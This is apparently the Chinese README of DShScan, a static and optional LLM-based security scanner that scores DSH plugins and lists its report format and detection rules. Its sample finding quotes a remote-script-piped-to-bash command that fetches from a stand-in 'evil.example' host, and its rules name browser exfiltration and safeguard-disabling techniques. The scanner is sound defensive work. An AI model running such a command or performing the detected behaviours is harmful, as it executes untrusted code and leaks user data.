DShScan

DSH 插件安全审查器（DShScan），模仿 NVIDIA SkillSpector 机制，为 dshbase.com 插件目录中的 DSH 插件提供风险评分、严重等级、证据清单和安装建议。

插件市场

已收录于 dshbase 插件目录：

https://dshbase.com/plugins/@shaoshi/dshscan/

作为 DSH 插件安装：

dsh plugin add @shaoshi/dshscan

功能

• 输入：插件名 / GitHub 仓库地址 / 本地目录 / zip / Markdown 文件
• 输出：JSON 报告，包含 risk_score、severity、safe_to_install、recommendation、findings
• 双通道扫描：
  • 静态规则扫描（完全离线）
  • 可选 LLM 语义扫描（需 API Key）
• dshbase 集成：输入插件名时自动读取本地索引元数据（stars / trust / verified / npm / cmd）
• npm 源码扫描：npm 插件可自动 npm pack 下载并扫描包内容
• 误报处理：每条 finding 都带证据 + 修复建议
• 批量扫描：支持对 dshbase 插件目录批量扫描并输出汇总 JSON

安装与构建

cd path/to/dshscan
npm install
npm run build

构建后生成 dist/main.js，可通过 dshscan.cmd 或 node dist/main.js 调用。

使用

# 扫描 dshbase 插件（按名称自动查索引，并尝试 clone 源码）
dshscan <plugin-name>
dshscan another-plugin

# 扫描 GitHub 仓库
dshscan github:owner/repo
dshscan https://github.com/owner/repo

# 扫描本地目录 / zip / md
dshscan /path/to/plugin
dshscan plugin.zip
dshscan README.md

# 仅离线扫描（不 clone 远程仓库，只给索引元数据 + 静态限制说明）
dshscan <plugin-name> --offline

# 启用 LLM 语义扫描（需要设置 DSCAN_LLM_API_KEY 或 OPENAI_API_KEY）
dshscan <plugin-name> --semantic

# 自定义 LLM 接入
dshscan <plugin-name> --semantic --llm-base-url https://api.openai.com/v1 --llm-model gpt-4o-mini

# 输出到文件
dshscan <plugin-name> --output report.json --pretty

# 输出人类可读摘要
dshscan <plugin-name> --summary

# 批量扫描 dshbase 插件（默认离线，按 stars 取前 N）
dshscan --batch --limit 50 --index /path/to/dshbase-directory.json --output batch.json --pretty

# 批量扫描全部插件（离线）
dshscan --batch --all --offline --output all.json

环境变量

JSON 报告格式

{
  "tool": "DShScan",
  "version": "0.2.1",
  "target": {
    "kind": "plugin",
    "raw": "some-plugin",
    "displayName": "some-plugin",
    "repoUrl": "https://github.com/owner/some-plugin.git",
    "metadata": {
      "name": "some-plugin",
      "stars": 120,
      "trust": "silver",
      "verified": true,
      "npm": false,
      "cmd": "dsh plugin add github:owner/some-plugin"
    }
  },
  "risk_score": 0,
  "severity": "low",
  "safe_to_install": true,
  "recommendation": "风险较低，可以安装；仍建议保持插件更新并定期复查。",
  "findings": [],
  "llm_used": false,
  "scan_mode": "static",
  "scan_note": "仅静态扫描，非完整扫描。",
  "metadata": {
    "name": "some-plugin",
    "stars": 120,
    "trust": "silver",
    "verified": true,
    "npm": false,
    "cmd": "dsh plugin add github:owner/some-plugin"
  }
}

finding 对象

{
  "id": "R001",
  "severity": "critical",
  "category": "remote-code-execution",
  "title": "Remote script piped to shell",
  "evidence": "install.sh:12: curl -fsSL https://evil.example/x.sh | bash",
  "recommendation": "Remove remote-pipe-to-shell installers. Vendor the script, pin a checksum, and review before execution.",
  "source": "static",
  "rule": "R001"
}

严重等级与风险分

safe_to_install 为 true 仅当：没有 high/critical finding，且 risk_score < 40。

计分方式：每个类别只取最高严重级的权重（critical=50 / high=30 / medium=15 / low=5）， 同一类别的重复命中（如 40 处 chmod）不叠加，类别间求和后封顶 100——避免噪音把分数顶满。

上下文衰减：命中在以下文件里会降一级严重级（文档/测试是描述性的，信号置信度低）：

• 文档（.md / .markdown / .txt / .rst）——R008（提示注入，本身针对文档）除外
• 测试代码（test(s)/ 目录、*.test.*、*_test.*、test_*）
• 构建镜像（Dockerfile*、docker-compose*.yml）

以下目录完全不扫描：.github / .circleci / .gitlab、third_party / vendor 等 vendored 依赖、 node_modules / dist / build 等构建产物。

静态规则

DSH 特有攻击面

• R010 cordis.patch.yml 插件树注入：插件自带的 cordis.patch.yml 如果 insert 了 @deepseek-ai/dsh-mcp-client、cordis-plugin-group 等 loader 行，或把 tool-bash、approval、permission 等安全行 disabled: true，属于高风险插件树篡改。
• R011 client.mjs 浏览器侧恶意代码：DSH 插件可以注入 Web 客户端代码；检测 sendBeacon 外传、键盘/输入监听、剪贴板读取、innerHTML 注入、postMessage *、外连 WebSocket/fetch 等浏览器侧恶意行为。
• R012 profile 配置篡改：插件如果试图修改 cordis.yml / cordis.patch.yml / package.json 的 dsh.profile.bundles / pnpm-workspace.yaml，或通过代码写/执行 ~/.dsh、profiles、patch 文件，属于严重供应链风险。

测试

npm test

基于 Node 内置 test runner（node --test），覆盖规则命中/反例、上下文衰减、 计分封顶、路径分类与恶意样例端到端判定。

说明

• verified=true 仅表示 dshbase CI 可安装，不等于安全审计。
• 静态扫描无需网络；但扫描 GitHub 仓库时获取源码需要网络（可用 --offline 跳过）。
• 低风险但未启用语义扫描时，报告会标注 scan_mode: "static" 和 "仅静态扫描，非完整扫描"。
• 报告超过 100 条 finding 时只展示按严重级排序的前 100 条，并置 findings_truncated: true（计分与安装建议仍基于全量）。
• 索引文件缺失/损坏不会导致崩溃：自动降级为无元数据通道并提示（可用 DSCAN_INDEX 指向你自己的索引）。